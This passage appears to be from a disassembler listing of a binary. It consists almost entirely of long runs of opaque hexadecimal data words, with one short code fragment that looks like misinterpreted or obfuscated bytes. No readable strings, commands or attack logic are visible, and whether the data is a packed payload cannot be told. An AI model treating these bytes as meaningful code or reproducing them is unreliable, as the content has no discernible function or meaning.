17288163h dd 0E9C29E06h, 4418920Eh, 6369C66h, 1123FD06h, 0BD521566h dd 6E63C6F0h, 0F482E52Fh, 2926A2AEh, 0D0E84F1Bh, 0B1534D36h dd 0AB6F4433h, 9152488Eh, 0DB5387B6h, 443229DDh, 0B6D99466h dd 100EB73Ah, 1CF194A5h, 470EB73Ah, 0AB3D4E65h, 1132157Ah dd 88BE1A06h, 0AD321566h, 22321569h, 228FEDD7h, 18DF282h dd 5D1501F2h, 4395BBFEh, 11BAA599h, 9CB91566h, 40F69442h dd 0CB321566h, 11321569h, 8080D8F5h, 0D73D586Fh, 0D5C5CA6h dd 985D43D8h, 9B3DE0F3h, 4BDBE060h, 3C321566h, 0D8B1EA1Fh dd 871F11CEh, 9C260215h, 7367181Dh, 7F4F0CDFh, 5EF39468h dd 0B3625463h, 20DBD4BFh, 0C0C5C491h, 0CCEEE4E7h, 89BB69FDh dd 0D7B3583Fh, 2FA54A63h, 0CD7FF0B7h, 0B3E6D0E7h, 0CA333E29h dd 18DB753Bh, 0D9321566h, 5FC85EB3h, 0BCECB724h, 113FFC07h dd 0A2321566h, 1C15F874h, 8A7B6783h, 4242CAE2h, 883219DDh dd 0CFF11466h, 62E9E75h, 1E36D1E5h, 883204E8h, 443EFC66h dd 6F7F1566h, 6E5E6FEDh, 8DA92069h, 0D1BB11ABh, 24211C8Fh dd 11321B8Fh, 78E6E66h, 705E1C3Fh, 0DC1B49E4h, 0ED9BCB61h dd 0D0162199h, 4436D1E7h, 0A43D1566h, 11321567h, 0AC46EA9Ah dd 60369E42h, 2236D1E7h, 18DB1566h, 0CD321566h, 2EED0B4Eh dd 9A55AB28h, 0C53AC863h, 0DEFA3C44h, 903AC8D8h, 7CC23C44h dd 1132198Fh, 57FF7B66h, 2EE30425h, 0E9626D46h, 0F8B72E62h dd 8734066Fh, 44324FE4h, 25BF1A66h, 1E321566h, 883214E9h dd 0C109EC66h, 24211A93h, 11739669h, 13D1566h, 4432156Ch dd 22B81A06h, 9A321566h, 0E85374A5h, 7B89D2D6h, 436CF183h dd 713211A4h, 9B2C3E7h, 0AD524530h, 22321569h, 0BD9B6E12h dd 0B78C4359h, 0D5C5F96Eh, 2DB1F1E9h, 113215E1h, 0E9537466h dd 12ED9E06h, 2232068Fh, 0F01FBB66h, 2BAAC162h, 0F8D4809Bh dd 0F73938AEh, 69BBAEEBh, 6052743Fh, 44321572h, 0DBC21D65h dd 0F3482CDCh, 12BFEF2Bh, 0F35F3884h, 45A647C5h, 1132068Eh dd 0BC5F8D66h, 0F31628ABh, 0C2B0C536h, 211A92FCh, 343EC36Ah dd 0B48B4D3Eh, 4318D5F3h, 1136F9E7h, 94BB1566h, 4432AE42h dd 7EBB1566h, 71691142h, 8832018Eh, 0B8593E66h, 46AD5200h dd 1B478887h, 0E5391027h, 58FA9073h, 22B51A21h, 4F321566h dd 0CCF5EC07h, 7B941142h, 66B523F1h, 0C1C51142h, 8C1651E1h dd 401661E7h, 0EB5AD53Fh, 11219969h, 86DB1566h, 37321566h dd 660C60Fh, 0FFD813F4h, 0A9A125Eh, 0F967442Eh, 78E9588Bh dd 612521DFh, 0D5DB2404h, 0EF68C9DEh, 7BFA245Eh, 11359669h dd 13D1566h, 44321567h, 0AFBFE99Fh, 17215AEBh, 9DBC1A06h dd 0AD321566h, 22321576h, 6BDEC8D9h, 151CBA41h, 4FB5C6CAh dd 0C8403981h, 11319F69h, 3541566h, 2452749Fh, 0A353E993h dd 2FB5B4A1h, 69CD742Fh, 4432128Fh, 127F8566h, 69A917DDh dd 8820FC06h, 0D3771566h, 0E2D23D71h, 400604BAh, 1C78E63h dd 9066AF84h, 0AB36F9E5h, 118B316Ah, 89321566h, 1D339F97h dd 2DDB2993h, 11332FE2h, 373D7566h, 46B11AA9h, 90321566h dd 2DCA74D4h, 0F0B61A8Eh, 0B8321567h, 0A63D1A5Ah, 1132153Eh dd 8832198Fh, 0C08D1966h, 5F05DB32h, 2D735669h, 87FF29A4h dd 4433C4E2h, 23BA1A66h, 0E8321566h, 0C3DFE5Ah, 44321494h dd 9A8B7306h, 0EAB9732Fh, 63D7407h, 44321576h, 22321E8Fh dd 0C3F6D166h, 6FFD0EABh, 87F3F4C6h, 0AB3D75A5h, 11321567h dd 0D2D9949Ah, 253B1EE0h, 2233AF34h, 0E3331566h, 9CB90FECh dd 40F69642h, 0D284479Eh, 5B9E646h, 8CF69442h, 4B321566h dd 223214EBh, 5DBE966h, 0C3321566h, 0C505F7D2h, 292B5D37h dd 0FFCC8E7h, 62A3ED83h, 0C414C7D9h, 0A73D959Dh, 0EECDEAF7h dd 3361439Fh, 4F8C20BBh, 26164967h, 0FAB34E3Dh, 838C20BBh dd 4432198Fh, 9C4A9B66h, 18C3178Fh, 0F8B18DD2h, 0FD63471Eh dd 22321560h, 106BDFEFh, 0D8CA4FB5h, 443217DEh, 73C21466h dd 113215DFh, 8BF31466h, 246A4C7Fh, 2234FC06h, 2B9B1566h dd 1DC0E5FDh, 259FFEE6h, 22321B8Fh, 3C84A666h, 0D597489Fh dd 267801DFh, 43682F48h, 1132D78Fh, 60807566h, 0EC2536DCh dd 73CE7471h, 0D213CADFh, 86FB9470h, 550C91Dh, 0CBB3C491h dd 98129178h, 91B9E467h, 56BA1A3Fh, 42321566h, 1132128Eh dd 0AAE52E66h, 0E7D77EB4h, 83C6953Dh, 0EAB1ED07h, 61B61A9Dh dd 0AD321566h, 2232156Eh, 1982F709h, 98A475F1h, 9D8D1A06h dd 0A66AFDE7h, 41534945h, 4BBB4D30h, 49BF1A3Eh, 0CB321566h dd 1132156Eh, 7D0F31F5h, 2FA15D1Dh, 0FD5A4636h, 4A696D4Bh dd 69C19425h, 0CD696D4Bh, 0D2334EBEh, 716A0D65h, 0E8E3A269h dd 44329C69h, 0A63D1566h, 11321566h, 85DB7407h, 90321566h dd 695B2E3Ah, 8EFFBBF8h, 50279B0Ch, 0CD36F9E5h, 278D315Ah dd 10321566h, 61CE4A9Dh, 0BBCDEB3Fh, 2232188Fh, 0A46CCC66h dd 294B510h, 0D2979985h, 943DB465h, 90521438h, 1F824295h dd 8BB97328h, 953D7507h, 0EBB973ACh, 0A6D99607h, 0BA159169h dd 27DBEA99h, 5E321566h, 0F4DFAC42h, 4432328Fh, 5CB2E066h dd 943DEB67h, 77CDEB6Bh, 44339E69h, 0CBCE1566h, 11321576h dd 8995A08Fh, 347AF771h, 7C19F111h, 9CA73F1h, 77CE2B8Fh dd 43BC1A99h, 2D321566h, 113214EFh db 66h, 0E0h ; --------------------------------------------------------------------------- loc_5FBE9E: ; DATA XREF: sub_580566+3BE6o ; sub_580566+3BEAo pop edx xchg eax, edx adc edx, ds:3152CD32h retf 0EF73h ; --------------------------------------------------------------------------- db 0F4h, 0B3h, 0D0h dd 88321562h, 4436FCE7h, 2EB51566h, 1DBB4942h, 8838FC42h dd 0D3A51566h, 0C59D831Fh, 7C9448A6h, 882CC10Eh, 602E9C66h dd 2234FC06h, 1B651566h, 7655414Dh, 4432138Fh, 0C851A366h dd 7010EEDFh, 8819450Eh, 600E9C66h, 2237FD06h, 0FCBD1566h dd 0EE5897A4h, 1EDD3ED9h, 0D98D1A31h, 7752743Fh, 60CC56D8h dd 44321575h, 299E8045h, 0CA10C3ECh, 0C3E6C0C6h, 5DC7BEBDh dd 0DEFE5C58h, 0D103743Dh, 61F99E06h, 44321563h, 0B26F67F7h dd 933D74A8h, 88321563h, 0B86B4606h, 4452B907h, 0AE9BC6E7h dd 88321B8Fh, 0C9474B66h, 0F2750BDh, 61792EF0h, 0E9920EF6h dd 44321C8Fh, 51110966h, 316B510Dh, 64B3F7F7h, 44321562h dd 0AA1619EFh, 48D99DA3h, 8CB01A06h, 22321566h, 0A33BD6DCh dd 0E1732BB0h, 0E0547450h, 0CD541DC6h, 0D2803172h, 4B54C646h dd 883DFC9Ah, 2D051566h, 79569C89h, 2F87038Bh, 5EBF6B2Bh dd 34C995A5h, 24359169h, 1ECE1566h, 88321FE5h, 25527566h dd 3EA9C6E7h, 2D533715h, 8CB61A69h, 24321567h, 235DAE00h dd 1132198Fh, 0E0B1C566h, 42A6A671h, 924E8392h, 0F80E74E4h dd 82809169h, 4CDB1566h, 0F8321566h, 93D584F9h, 870A24BBh dd 443214E5h, 0C90EED66h, 1FD79169h, 87521566h, 443217E6h dd 0CBE79F66h, 1132156Bh, 1810889Ah, 2727CEDBh, 916ED9B5h dd 0F20E74ADh, 8B999169h, 0C83D1566h, 2232156Eh, 11309E69h dd 0E9521566h, 0C03DF75Ah, 22320505h, 11399D69h, 8EDB1566h dd 5F321566h, 5950AC05h, 3506EA29h, 8CF69439h, 4B321566h dd 223213E1h, 4F637566h, 77534F35h, 0C7693152h, 445211A2h dd 775941DEh, 0E9C7F6DCh, 1D162199h, 4236D1E5h, 1123FC06h dd 63051566h, 0F28AF0B8h, 0DA532EF2h, 928F9D2Bh, 3861861h dd 0CF3D74B5h, 22321564h, 0EE53D1D0h, 96C3152h, 443211A2h dd 2239FC66h, 23E61566h, 84A411DDh, 0BAA8A49Ah, 42F1EC14h dd 660BD6E7h, 63D33B8h, 44321564h, 0E5534A30h, 0BA6C0E3h dd 88321360h, 4434FC66h, 0E5A41566h, 0D76CADDBh, 0ABD8AD36h dd 0AF176662h, 623B4554h, 1110FE53h, 2C21467h, 4B524D7Eh dd 223216ECh, 0C6B97366h, 0B8897336h, 0B8534C42h, 0AB36F9E5h dd 0E1843172h, 6168E646h, 44321560h, 95C8FA22h, 0EAB2C0B0h dd 0AEB71AE6h, 0ADCDEA99h, 2232156Ch, 7886BDFFh, 95140EB8h dd 0FB655A25h, 0DDCDEA99h, 0F86DEB67h, 88321561h, 49B29D6Ch dd 0A94500E1h, 213B0E3h, 1DB9ED60h, 42210F63h, 2221FD06h dd 743A1566h, 0A6822D17h, 0BD7F6E7Eh, 36ECAD5Bh, 7E72FE97h dd 3E6CE96Fh, 116474B0h, 7D056DDBh, 355E3C7Eh, 9694862h dd 1B056DA5h, 2222FC7Eh, 1DA11566h, 7D5861CDh, 0AD742FA4h dd 0A7E3271Ch, 0FDB1292Ah, 0AC269C62h, 443213DCh, 78E11466h dd 113E9869h, 53D1566h, 44321560h, 22329269h, 0A8631566h dd 9C014780h, 0E92ED4E7h, 0D333FEAAh, 0E96B0C65h, 0A3DCD5Dh dd 44321556h, 22229669h, 1ADB1566h, 6C321566h, 38986FEh dd 2321A1FCh, 0CB0952ADh, 76659369h, 2452EA99h, 22329D69h dd 903D1566h, 88321566h, 25B2A007h, 4CC5D6E7h, 0FAB340E3h dd 0C9C524A9h, 87B3EE4Fh, 63C524A9h, 7FC5FEE7h, 3A5240E3h dd 0C553E970h, 2232118Ah, 35269C66h, 883213DCh, 1EE13C66h dd 2232018Fh, 2A150366h, 0B40773ECh, 0C3243A90h, 0E91728B2h dd 0BF4F719Dh, 0E89F7394h, 7B1EAD00h, 22321B8Eh, 77DBAF66h dd 288F6A0Ch, 39B3BE81h, 7B0C600Fh, 71997307h, 0E9C7DAEDh dd 8703CD57h, 2CDBCD57h, 0FE321566h, 0DA01962Fh, 4A4C5A2h dd 140795C6h, 913DBEDEh, 88321561h, 9A8D1A06h, 75537406h dd 113211D9h, 3CC1466h, 80B1315Ah, 223AFC62h, 938C1566h dd 0DA0E8E8h, 4DDB9DE9h, 94321566h, 0DDA4D12Eh, 74800C57h dd 4B1629EFh, 223218EFh, 113AFC66h, 38001566h, 17C6FC5Eh dd 2BDB2E18h, 0D0321566h, 85596F4Eh, 0BF222CB6h, 2E1661EFh dd 11209F69h, 53D1566h, 4432156Ah, 2232128Fh, 5E5F866h dd 956CA47Eh, 7537A0EFh, 0A33D1375h, 11321575h, 88321B8Fh dd 0F279D466h, 0C2EF4F3h, 482DBCAAh, 32AF49Fh, 0CD67315Ah dd 26F79483h, 90321566h, 883211A3h, 601E9266h, 4461753Ah dd 4F9DD6DCh, 8832018Eh, 9155D66h, 0EDEF9D8Bh, 12EC748Fh dd 1201BE4Fh, 20858D2Eh, 7B5375DFh, 3506EA07h, 8CF6963Dh dd 6006EA9Ah, 26F6943Fh, 0E9321566h, 0AC06EA9Eh, 40F69638h dd 79664693h, 1136D6E7h, 4BB11566h, 602E9262h, 9CDBED3Ah dd 71CDEAB8h, 882B9269h, 50DB1566h, 52321566h, 6E46EBA2h dd 0F4F73B21h, 37F606AFh, 19300EDCh, 1EC7A061h, 883207E6h dd 443FFC66h, 0B8321566h, 1809A9C1h, 0CECC13C8h, 2548DC33h dd 0E4B37306h, 0D3B9EF1Ch, 5DB7D207h, 46340FF2h, 42321566h dd 1132188Fh, 85735766h, 1EF0C058h, 21DB84AFh, 0AF54C0C4h dd 0E8539FDDh, 44309269h, 43521566h, 4A6C4636h, 8CB34307h dd 0A2193342h, 62E9E00h, 9036D1E5h, 6E19338Dh, 5CB81A00h dd 0CB321566h, 11321575h, 0ED70D152h, 32EC9F45h, 0B04C0DDDh dd 6CB1C6AEh, 87AEEE05h, 0C4CA1BD0h, 0A13D959Fh, 1132150Bh dd 88239469h, 0C93D1566h, 2232156Dh, 1132138Fh, 12EAD866h dd 0C5152B29h, 716FD58Dh, 66F1946Ah, 8964B57Dh, 33D994ADh dd 0A364B57Dh, 426FD5A5h, 8FB31A6Ah, 4B321566h, 223214EAh dd 0EE61EC66h, 94B93162h, 40F69442h, 0CB321566h, 11321577h dd 64276F2Ch, 6B09BF14h, 4E890FE3h, 91260AA8h, 88A3FC7Fh dd 0C33D1566h, 22321567h, 3F85469Ah, 864FAE6h, 8BCC6AA9h dd 9262D298h, 3DEAE3E9h, 7E1C31C0h, 443911B6h, 0DB1A4DA1h dd 1138FC3Dh, 8ED51566h, 2B05F573h, 7493E380h, 0AA61FCE1h dd 88321566h, 99B5FE4Fh, 2DDB923Dh, 113213E6h, 0EECE7566h dd 1653E5EDh, 2232EADCh, 9AE33466h, 4CB13172h, 443CFC62h dd 0B3331566h, 2C4DFFB7h, 7E2E5C88h, 0DD9D9DA9h, 6BDEFEE7h dd 0DA1B1C51h, 0C1DEA833h, 0AF331C51h, 223BFC3Bh, 0A8C51566h dd 12F10628h, 0CF37065Eh, 3113B0E3h, 973D7560h, 88321563h dd 0F25253DCh, 0A953E054h, 22810F3h, 8822FC60h, 20621566h dd 0CD618616h, 0B8C2CDB5h, 9A32653Dh, 0F9B18A1Dh, 242114C3h dd 0F9B61A67h, 87321565h, 443214E4h, 1BC7EC66h, 0C9B01AA5h dd 61321565h, 4432156Dh, 0F8C1BBEAh, 637FFF49h, 0B1B50407h dd 0F6B01AB5h, 0DACDEA9Ch, 1131AF8Fh, 86BE1A66h, 24321566h dd 0A7FDCCE7h, 0C7B36AC5h, 9BC834D2h, 91B7D207h, 20340FF2h dd 1E321566h, 883214E2h, 0A8B3E966h, 22321562h, 901621EFh dd 0A3C23162h, 0C5692347h, 319E58Dh, 1135FC50h, 59421566h dd 0BB8F995Dh, 2C841A41h, 113B9469h, 70521566h, 3B9BC3E7h dd 0A2532DB3h, 923D959Fh, 8832153Ah, 93B9EC06h, 6CF19407h dd 902C0B7Eh, 2C3779A5h, 0C5F9144Eh, 8637798Dh, 5FD9944Eh dd 612C0B7Eh, 44321574h, 0CD4F425Ch, 0A2EC9BBh, 2D10A53Ah dd 40E6050Ah, 9F67ECFFh, 3449460Dh, 977C091h, 872154ABh dd 0F6C79414h, 10C8D2D9h, 83D488Dh, 44321567h, 0ABDBE99Fh dd 0E9321566h, 0A0CDA235h, 602E9E9Fh, 2D36D1E5h, 11320DE3h dd 8821FC66h, 0B9C31566h, 3AA192CDh, 25104C80h, 673E624Eh dd 71497574h, 228C43D9h, 90321566h, 0D26397A0h, 0C5FC3C70h dd 78639788h, 4FC39C70h dd 778A459Fh, 65321566h, 6369EA7h, 1136D1E7h, 84DB1566h dd 0A9321566h, 2C54C0DCh, 0F77EF28Dh, 0DA46BF63h, 374D44DCh dd 78E1142Dh, 0FAB3DE4Fh, 0C3416A37h, 44321A8Fh, 0B77C7666h dd 87BF04Fh, 653D327Ch, 0D969A124h, 39790EDh, 9A3D1375h dd 88321567h, 41A79E9Eh, 4234067Ch, 1EEADEE6h, 0B53C7D1h dd 5733B0DBh, 0A63D1460h, 1132172Dh, 883D9669h, 4EDB1566h dd 6F321566h, 1C40F435h, 2D9B1797h, 9C09E9C7h, 22139769h dd 9E3D1566h, 8832156Ah, 4432128Fh, 3B9FD966h, 1A13F260h dd 0E3DC65Fh, 0BBCDEC63h, 22339469h, 46CA1566h, 3B35EFD9h dd 0D6D59462h, 6566F047h, 1853F2E7h, 6FF37F49h, 65C59463h dd 0B363546h, 40CE4A98h, 0E2A635h, 0A5B24EBFh, 0D5C395D0h dd 9134FCA6h, 40BA1BA7h, 0BD98E03Fh, 2236F9E7h, 5BB1566h dd 8832AF42h, 0B6331566h, 0DA681FECh, 0A26177D6h, 8CD9D58Ah dd 97C4DE98h, 0C9B2DE98h, 4AEA3D54h, 8A06C590h, 9906DD98h dd 2232138Fh, 22817166h, 0D8647664h, 8427A734h, 0E8CC108Ch dd 0EF70DFE6h, 99F095ACh, 6468C1EEh, 2ADB4D87h, 45321566h dd 47E4F4E9h, 4CBC678Eh, 2220FCAEh, 0ADF11566h, 6A61EDD1h dd 13A4848Ah, 9B0B8E2Fh, 2DEEE80Eh, 8826FCCCh, 0CCE11566h dd 3980AB15h, 40FA35FCh, 0D2A840D7h, 8BB9217h, 9C64D326h dd 7E1D07CAh, 0A16CE64Fh, 0E8F1949Dh, 0D75D3A74h, 1136A833h dd 631B1566h, 0C51639EDh, 223211A2h, 0FDB3ED66h, 88321562h dd 171611EFh, 44524E3Eh, 0F84DAEDCh, 88321561h, 0EB0BDC54h dd 43991626h, 1134FCCDh, 0E9BA1566h, 1ECE8A29h, 2236F9E7h dd 15BB1566h, 8830AD42h, 82331566h, 223EFC3Eh, 8A131566h dd 107B1737h, 1374F598h, 97BBC31Fh, 17212463h, 2DB7D29Ah dd 45340667h, 0D7321566h, 1132108Fh, 7B5CD066h, 0CD62CC7Ch dd 22361086h, 0D1B11566h, 0AC362662h, 77161157h, 0D76E3162h dd 461609EDh, 4FB3F2EFh, 44321562h, 2236D2E7h, 2DB51566h dd 0E3D4942h, 44321567h, 63E9E9Fh, 90D59C31h, 883211A1h dd 40F59466h, 0A5321566h, 0F86E315Ah, 88321561h, 21F7B451h dd 71DCC50Ah, 0D2B3F6EFh, 88321562h, 1736D6E5h, 26166199h dd 35369A3Dh, 9CBF1A3Ah, 0AD321566h, 22321569h, 0CBAFF1F7h dd 81038CFh, 2F9E6041h, 77C7E049h, 0D4B3F0EFh, 88321562h dd 4436AB30h, 0D7331566h, 351E9238h, 8EDBEC3Ah, 0ADCDEABFh dd 22321569h, 781A33CAh, 0C44B186Ch, 0F79F1BB6h, 4A1327CCh dd 113243E1h, 771621EFh, 0BD6C316Ah, 0FAC40DD6h, 0A760C590h dd 0D2C2151Eh, 0ACF2D598h, 4225396Eh, 7CC09400h, 77851A8Bh dd 2252BF07h, 0CB779CD9h, 11321561h, 1CEFE2CEh, 255F247Eh dd 0ABC39C37h, 353E9EAEh, 8836D1E7h, 0B8C71566h, 7EEAA31h dd 0E91B4AB0h, 8DCA3C39h, 1BE430BAh, 725FAC06h, 0A63D0D49h dd 64B374BDh, 44321562h, 9B1619EFh, 11321562h, 0E86BDD4Fh dd 4432108Fh, 8B5B6C66h, 1DBF5B4h, 2D321566h, 287E40FDh dd 0FB7DDEEFh, 0DBF070DDh, 0E9160AF8h, 4437FCCDh, 21D1566h dd 41DD5DF1h, 8C374D32h, 0C7321566h, 26B511A6h, 18DB4942h dd 0E7321566h, 2D0E43ABh, 0EB911150h, 421609EDh, 4BB3F6EFh dd 44321562h, 2236D6E7h, 0DB51566h, 3CB4942h, 0CD65316Ah dd 26F59481h, 92321566h, 0B4B511A1h, 0CFC74942h, 0AB603152h dd 15F09484h, 0B321566h, 50B511A4h, 70C74942h, 0AF64F7EFh dd 0ABAC7F50h, 0C57CC391h, 8D785890h, 0FFB35308h, 3AFCCAE4h dd 0C76CE767h, 36B511A4h, 9A3D4942h, 88321567h, 9F19FC9Eh dd 2D52EA99h, 113213E5h, 88BC1A66h, 25321566h, 0B6E790A1h dd 1137137Ch, 3D1566h, 4432156Ch, 0D0B97306h, 1AF89400h dd 36474B6h, 80B3317Ah, 22321562h, 1BBF1A9Ah, 0E8321566h dd 44329F69h, 43521566h, 0AB604307h, 86327CBFh, 445BC8D8h dd 78E42468h, 716CE667h, 88321A8Fh, 96B97066h, 0F08FC4FCh dd 0BB9EEBCAh, 0BA5F03B3h, 4421FC06h, 0E3541566h, 0D1A3BBFCh dd 850E4F01h, 604BE06Dh, 7C4966D5h, 11BC1AC1h, 0E9321566h dd 448B4407h, 0A3321566h, 0F07B50A7h, 9C3143Bh, 0A57B508Fh dd 7B2B163Bh, 0C3851A06h, 75E39400h, 0C1B974BAh, 242134C3h dd 77FA9E06h, 0B0D4DAE7h, 41A79E07h, 0D734067Ch, 1133AE35h dd 561B1566h, 443BFC3Dh, 0EC5B1566h, 0EB521ED4h, 0B688244h dd 5716DCDBh, 0A63D1460h, 11321263h, 88321D8Fh, 0A7B5AE66h dd 567A535Dh, 1EEA2EB7h, 88323AE4h, 0ACB37566h, 5F7A06A3h dd 1EE82E07h, 883381E0h, 0C43DEC66h, 2232157Eh, 1132068Fh dd 9B349866h, 9ACFB73Dh, 915120A1h, 0CFC65BE6h, 171025Eh dd 7537A0EFh, 0CB521375h, 1132156Eh, 8A1B2D16h, 0B58B35D7h dd 22349E69h, 0DFB31566h, 0D58A2EA7h, 91AF9E07h, 0CB340FF2h dd 11321563h, 22F09041h, 605E944Dh, 0B143D96Ah, 3576942Ch dd 0A313516Ah, 606E1467h, 65E946Ah, 3A13516Ah, 0AC769467h dd 0D743D96Ah, 0A23D752Ch, 11321560h, 88329769h, 0A1B81566h dd 2465FC07h, 71521566h, 0CEE3AD00h, 44329769h, 9A531566h dd 758A4BF7h, 0AC0E9E07h, 0C5D49C30h, 223211A0h, 15F49666h dd 0D41621E1h, 4432068Fh, 0CA3BA866h, 0DB8CAE5Ah, 8CFD37E4h dd 0FDD51B4Ch, 0FAEA3EB8h, 11389B69h, 87521566h, 443215EEh dd 43E59E66h, 35FB90A1h, 88331375h, 4EDB1566h, 5321566h dd 0F9A212D6h, 4B0910Bh, 602E9E3Ch, 0A3D49C30h, 113211A0h dd 8CF49666h, 181621E1h, 606EA9Eh, 15F6943Fh, 61321566h dd 44321568h, 4D26A9D4h, 52E976FBh, 7F4D714Bh, 22521BCCh dd 32DBD7EDh, 0C8321566h, 894C6C89h, 0F5A954EEh, 687E9E99h dd 700D814Ch, 0D6162199h, 4436D1E7h, 0A03D1566h, 11321577h dd 88399569h, 42DB1566h, 13321566h, 50072882h, 6BBB4658h dd 4F18AC37h, 0FBC5481Bh, 0F8F3C491h, 49E3E260h, 0B5B31D8Fh dd 22CC9F69h, 926BDE67h, 94B511A5h, 14524942h, 7CC9A269h dd 0C419FC07h, 73DEA99h, 44321567h, 878F969Eh, 10340667h dd 8D0D9169h, 0AD521566h, 22321560h, 0E87EA580h, 6052D9F8h dd 4432156Ah, 124A6BFh, 1143480Bh, 3325B52Bh, 4422FC3Eh dd 78461566h, 15BDA42Dh, 9DA9700Ch, 23057DC5h, 43538D0Dh dd 3097884Dh, 86DB1375h, 0E5321566h, 0DEE94BA1h, 217ECC10h dd 2F03C766h, 0B1BF9EBBh, 0CB340678h, 1132156Ch, 0B5B53067h dd 440E0A40h, 0E3B35508h, 59116406h, 3567CC67h, 0C116406h dd 426FFC4Fh, 0F8C29E00h, 88321560h, 0FEC4B470h, 0A3536966h dd 0EB63FD8Fh, 0DDF39408h, 6D737726h, 77DB949Fh, 90737726h dd 7263FDA7h, 5BB71A08h, 42321566h, 1132048Eh, 0E365AD66h dd 0C5ECFA0Eh, 69D7165Ch, 4753E48Ch, 969A31Eh, 70BF39B5h dd 9A627463h, 30F11F90h, 0F5352963h, 61E2E21Ah, 42081C6Ah dd 1C30F5A7h, 0FD167E93h, 0A85DE553h, 7AF33C93h, 1132128Fh dd 82715766h, 5D7D1EC9h, 9F854637h, 0EC024DD3h, 74DF953Dh dd 0BC6BFDEEh, 2ADBE0CCh, 4A321566h, 78EFEE64h, 2C8E0502h dd 22320D96h, 401611EFh, 23CA4C3Eh, 42B21A06h, 0A3321566h dd 0C2E6DB8Dh, 0E9D79F25h, 0C5D09C34h, 223211A4h, 158A4566h dd 89321566h, 50B54DA4h, 0A03D4942h, 11321567h, 0AC2E9E9Fh dd 0C5D59C31h, 223211A1h, 15F59666h, 0D41629E1h, 25F59F06h dd 7B162199h, 1136D1E7h dd 77CA1566h, 0C56C3152h, 223211A2h, 113EFC66h, 2FF61566h dd 2072AF50h, 41344806h, 9863FEDCh, 8CF39487h, 13321566h dd 223211D9h, 4ECB1466h, 0D41619E1h, 44359069h, 0AA3D1566h dd 11321567h, 5EFDFC9Eh, 83C7EA99h, 38A6C0E3h, 11321760h dd 8835FC66h, 0BAF81566h, 1403A644h, 0E0BB44BAh, 616B4E37h dd 4432156Bh, 0DABB2E5Ah, 11D88D43h, 25B36EAAh, 4A841ADAh dd 22339069h, 0F8CE1566h, 88321560h, 0F61C3FC2h, 0DBB2894Dh dd 6FB11AE6h, 61321566h, 44321568h, 0D3463D8Dh, 6D83132Dh dd 60F849D3h, 87B3F681h, 5142684Bh, 5F16D6E7h, 43336793h dd 0A16FEE7h, 0C9B36793h, 6242684Bh, 63E09506h, 4ADB7493h dd 4321566h, 0CEEE73E5h, 9754D1FEh, 8A9FFE1Ah, 238847C8h dd 10321566h, 9BDB4FB5h, 19321566h, 0A72067E2h, 0B85C4E69h dd 0A219F51Fh, 0A349EFCDh, 87DB1BBAh, 71321566h, 88321E8Fh dd 0EF092366h, 9D8A11F3h, 9863E5F6h, 0DA617307h, 0A6F2FDD4h dd 21D8D565h, 0C3C4CF90h, 62B2DF98h, 1EE19D61h, 7954CC4Eh dd 11321F8Fh, 0DC3C0C66h, 0DF18AEBEh, 0A14814A6h, 0C0C5148Fh dd 88339069h, 12C71566h, 2232EAD8h, 9AC33466h, 4CB13152h dd 22647562h, 7D4D60D9h, 11379F69h, 9541566h, 25D18B95h dd 7E78A833h, 0D4B33A8Eh, 0D381782Fh, 123AD8E7h, 0E3774877h dd 0DCB31683h, 0B1E406C5h, 0F6FCF8E7h, 0C91BF1A9h, 90F93C3Bh dd 877F00A5h, 4CDB757Fh, 76321566h, 9E74DD29h, 0E9FFD425h dd 659790EDh, 0CB521375h, 11321569h, 3BFFEFEBh, 0F40970ACh dd 20C0C22Dh, 77D8A48Ah, 0E9847FDCh, 5E3780EDh, 30DB1375h dd 0BA321566h, 577AF2C1h, 0A664AE32h, 0B7659777h, 7533576Eh dd 72F4FC35h, 2252EA99h, 0A952CDEDh, 958B73B0h, 87537477h dd 443213E5h, 0FDB97566h, 0D6537406h, 92A6C0E3h, 44321760h dd 2223FC66h, 24E01566h, 5EF4A5E6h, 86CB3D70h, 2DBD57F0h dd 47FD96A3h, 571621E7h, 0CF765533h, 0E6B1317Ah, 0CEC19462h dd 70765533h, 243CA369h, 22309569h, 49641566h, 8832108Fh dd 0B56FF866h, 0A253B994h, 923D959Fh, 88321550h, 44339569h dd 75C71566h, 3112E9D9h, 0D7C9144Ch, 0AFB3DE67h, 812359Ah dd 11321C8Fh, 0C956EA66h, 6B7A42B9h, 9D65C78Eh, 11321567h dd 7D6DEE67h, 4432828Fh, 7254EC66h, 0A51EA635h, 0D3EE3D4Dh dd 1C54F44Eh, 2232068Fh, 0FD92A966h, 62666529h, 0A59C3F42h dd 0B30E0BA1h, 0D5392320h, 155A4235h, 1B0EF517h, 53AFE2E7h dd 0EABB2986h, 0FF93C39h, 0C73D4EBFh, 2232156Ah, 11349869h dd 3D1566h, 44321566h, 2236F9E7h, 25BB1566h, 88CDAB42h dd 0B5131566h, 2237FC38h, 0E7A91566h, 9F604AAh, 0E3DA6A5h dd 61D9942Ah, 384A6713h, 0CBF194ADh, 0C54A6713h, 683DA68Dh dd 113CFC2Ah, 0F05D1566h, 1A5B218Fh, 2E29B9A3h, 8AD6F2B5h dd 0A99790EDh, 0C13D1375h, 2232157Ch, 11269869h, 87DB1566h dd 0B0321566h, 0F591BF6Ch, 0DF7EDA9Ch, 600C43D9h, 0D1B94D7Dh dd 24210F63h, 0CFB97306h, 0A37AB00h, 0E18F9607h, 23340667h dd 0E66B9169h, 99DBEA99h, 14321566h, 7AD89549h, 5D9666A8h dd 34F8E6Bh, 0E231D8ACh, 2232078Fh, 31180B66h, 79336C5Eh dd 45ED4E28h, 0C3067479h, 2AE11AEBh, 9FB01ABEh, 0BC321566h dd 0A43DC65Fh, 0EECDFB6Bh, 8FB91A9Fh, 4B321566h, 223214E0h dd 0AB60E966h, 77CDEA99h, 0AD68C367h, 22321568h, 0ACAD43C8h dd 4AE10C66h, 285C219Eh, 24DB8C75h, 22321566h, 6288156Eh dd 0B1BB40CCh, 0EB9FCEFh, 15F69442h, 87321566h, 44321FE2h dd 2237FC66h, 35371566h, 9CF5199h, 8438C6A7h, 0C8F39441h dd 38299F39h, 62DB949Fh, 0C5299F39h, 0E238C68Fh, 1135FC41h dd 8CA01566h, 43FB6D29h, 26DE96C5h, 0AA1609EFh, 88321563h dd 0B169CC4Fh, 9298A437h, 397C11F5h, 0D17C39AEh, 0CC3DBF9Ah dd 22321565h, 4153ED06h, 886A040Eh, 603E9C66h, 0D7C74C3Eh dd 1139FCCDh, 0B1E1566h, 0D9CBF842h, 0EF36DD7Bh, 0C381FCEBh dd 0DBC7EA99h, 52277D31h, 0A36D1142h, 484518A9h, 0AD59435h dd 0C523086Eh, 